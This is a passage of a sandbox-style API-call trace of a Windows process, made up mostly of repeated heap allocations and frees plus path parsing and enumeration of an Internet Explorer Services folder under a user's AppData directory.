Flags=0x0, Size=0x830) returned 0x7ad3918 [0114.035] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0114.035] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3918 | out: hHeap=0x5010000) returned 1 [0114.035] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0114.035] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b16468 | out: hHeap=0x5010000) returned 1 [0114.035] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b16468 [0114.035] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.035] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.035] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b16468 | out: hHeap=0x5010000) returned 1 [0114.035] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b16468 [0114.035] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0114.035] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0114.035] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b16468 | out: hHeap=0x5010000) returned 1 [0114.035] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b16468 [0114.035] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0114.035] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0114.035] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b16468 | out: hHeap=0x5010000) returned 1 [0114.035] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b16468 [0114.035] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.035] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.035] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b16468 | out: hHeap=0x5010000) returned 1 [0114.036] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b16468 [0114.036] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.036] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.036] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b16468 | out: hHeap=0x5010000) returned 1 [0114.036] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b16468 [0114.036] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.036] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0114.036] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.036] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0114.036] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b16468 | out: hHeap=0x5010000) returned 1 [0114.036] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b16468 [0114.036] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0114.036] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.036] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b16468 | out: hHeap=0x5010000) returned 1 [0114.036] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b16468 [0114.036] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.036] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.036] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b16468 | out: hHeap=0x5010000) returned 1 [0114.036] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b16468 [0114.036] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.036] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.036] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b16468 | out: hHeap=0x5010000) returned 1 [0114.036] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b16468 [0114.036] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.036] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.036] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b16468 | out: hHeap=0x5010000) returned 1 [0114.036] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b16468 [0114.036] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.036] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.036] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b16468 | out: hHeap=0x5010000) returned 1 [0114.036] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b16468 [0114.037] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.037] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.037] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b16468 | out: hHeap=0x5010000) returned 1 [0114.037] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b16468 [0114.037] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\Services\\") returned="Services\\" [0114.037] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35bc8 [0114.037] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0114.037] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b16468 | out: hHeap=0x5010000) returned 1 [0114.037] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\") returned="Internet Explorer\\" [0114.037] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05da0 [0114.037] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35bc8 | out: hHeap=0x5010000) returned 1 [0114.037] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecd70 [0114.037] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0114.037] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\") returned="Microsoft\\" [0114.037] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf10 [0114.037] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecd70 | out: hHeap=0x5010000) returned 1 [0114.037] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0114.037] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0da78 [0114.037] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf10 | out: hHeap=0x5010000) returned 1 [0114.037] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0114.037] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x40) returned 0x7a1aec8 [0114.037] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0da78 | out: hHeap=0x5010000) returned 1 [0114.037] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0114.037] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35bc8 [0114.037] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a1aec8 | out: hHeap=0x5010000) returned 1 [0114.037] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0114.037] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35bc8 | out: hHeap=0x5010000) returned 1 [0114.037] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0114.037] PathFindFileNameW (pszPath="") returned="" [0114.038] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b16468 [0114.038] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\Services\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5616fca0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x2bf7e690, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x2bf7e690, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0114.038] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b16468 | out: hHeap=0x5010000) returned 1 [0114.038] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5616fca0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x2bf7e690, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x2bf7e690, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0114.038] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5616fca0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x2bf7e690, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x2bf7e690, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0114.039] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0114.039] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05da0 | out: hHeap=0x5010000) returned 1 [0114.039] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b16520 | out: hHeap=0x5010000) returned 1 [0114.039] PeekMessageW (in: lpMsg=0x825ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825ff08) returned 0 [0114.039] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecd70 [0114.039] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0114.039] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecdf8 [0114.039] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.039] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.039] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecdf8 | out: hHeap=0x5010000) returned 1 [0114.039] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecdf8 [0114.039] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.039] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.039] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecdf8 | out: hHeap=0x5010000) returned 1 [0114.039] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecdf8 [0114.039] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.039] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.039] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecdf8 | out: hHeap=0x5010000) returned 1 [0114.039] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecdf8 [0114.039] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.039] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.039] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecdf8 | out: hHeap=0x5010000) returned 1 [0114.039] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecdf8 [0114.039] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.039] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.039] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecdf8 | out: hHeap=0x5010000) returned 1 [0114.040] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecdf8 [0114.040] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0114.040] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.040] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecdf8 | out: hHeap=0x5010000) returned 1 [0114.040] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecdf8 [0114.040] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.040] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc2e) returned 0x7b13900 [0114.040] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.040] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0114.040] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecdf8 | out: hHeap=0x5010000) returned 1 [0114.040] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecdf8 [0114.040] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.040] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.040] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecdf8 | out: hHeap=0x5010000) returned 1 [0114.040] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecdf8 [0114.040] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0114.040] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.040] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecdf8 | out: hHeap=0x5010000) returned 1 [0114.040] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecdf8 [0114.040] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0114.040] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0114.040] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecdf8 | out: hHeap=0x5010000) returned 1 [0114.040] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecdf8 [0114.040] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0114.040] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0114.040] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecdf8 | out: hHeap=0x5010000) returned 1 [0114.040] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecdf8 [0114.040] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.040] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.040] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecdf8 | out: hHeap=0x5010000) returned 1 [0114.040] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecdf8 [0114.041] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.041] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.041] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecdf8 | out: hHeap=0x5010000) returned 1 [0114.041] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecdf8 [0114.041] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0114.041] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.041] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecdf8 | out: hHeap=0x5010000) returned 1 [0114.041] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecdf8 [0114.041] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0114.041] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.041] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecdf8 | out: hHeap=0x5010000) returned 1 [0114.041] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecdf8 [0114.041] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.041] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.041] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecdf8 | out: hHeap=0x5010000) returned 1 [0114.041] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecdf8 [0114.041] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.041] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.041] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecdf8 | out: hHeap=0x5010000) returned 1 [0114.041] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecdf8 [0114.041] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.041] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.041] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecdf8 | out: hHeap=0x5010000) returned 1 [0114.041] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecdf8 [0114.041] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.041] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.041] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecdf8 | out: hHeap=0x5010000) returned 1 [0114.041] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecdf8 [0114.041] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.042] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.042] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecdf8 | out: hHeap=0x5010000) returned 1 [0114.042] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecdf8 [0114.042] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ad3918 [0114.042] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3918 | out: hHeap=0x5010000) returned 1 [0114.042] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecdf8 | out: hHeap=0x5010000) returned 1 [0114.042] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecdf8 [0114.042] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.042] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.042] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecdf8 | out: hHeap=0x5010000) returned 1 [0114.042] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecdf8 [0114.042] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.042] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0114.042] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.042] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0114.042] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecdf8 | out: hHeap=0x5010000) returned 1 [0114.042] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecdf8 [0114.042] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.042] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.042] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecdf8 | out: hHeap=0x5010000) returned 1 [0114.042] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecdf8 [0114.042] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.042] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc2e) returned 0x7b13900 [0114.042] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.042] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0114.042] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecdf8 | out: hHeap=0x5010000) returned 1 [0114.042] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecdf8 [0114.042] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0114.042] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0114.042] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecdf8 | out: hHeap=0x5010000) returned 1 [0114.042] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecdf8 [0114.043] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0114.043] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0114.043] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecdf8 | out: hHeap=0x5010000) returned 1 [0114.043] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecdf8 [0114.043] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.043] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.043] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecdf8 | out: hHeap=0x5010000) returned 1 [0114.043] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecdf8 [0114.043] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.043] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.043] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecdf8 | out: hHeap=0x5010000) returned 1 [0114.043] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecdf8 [0114.043] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.043] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0114.043] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.043] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0114.043] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecdf8 | out: hHeap=0x5010000) returned 1 [0114.043] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecdf8 [0114.043] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0114.043] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.043] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecdf8 | out: hHeap=0x5010000) returned 1 [0114.043] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecdf8 [0114.043] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0114.043] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.043] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecdf8 | out: hHeap=0x5010000) returned 1 [0114.043] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecdf8 [0114.043] 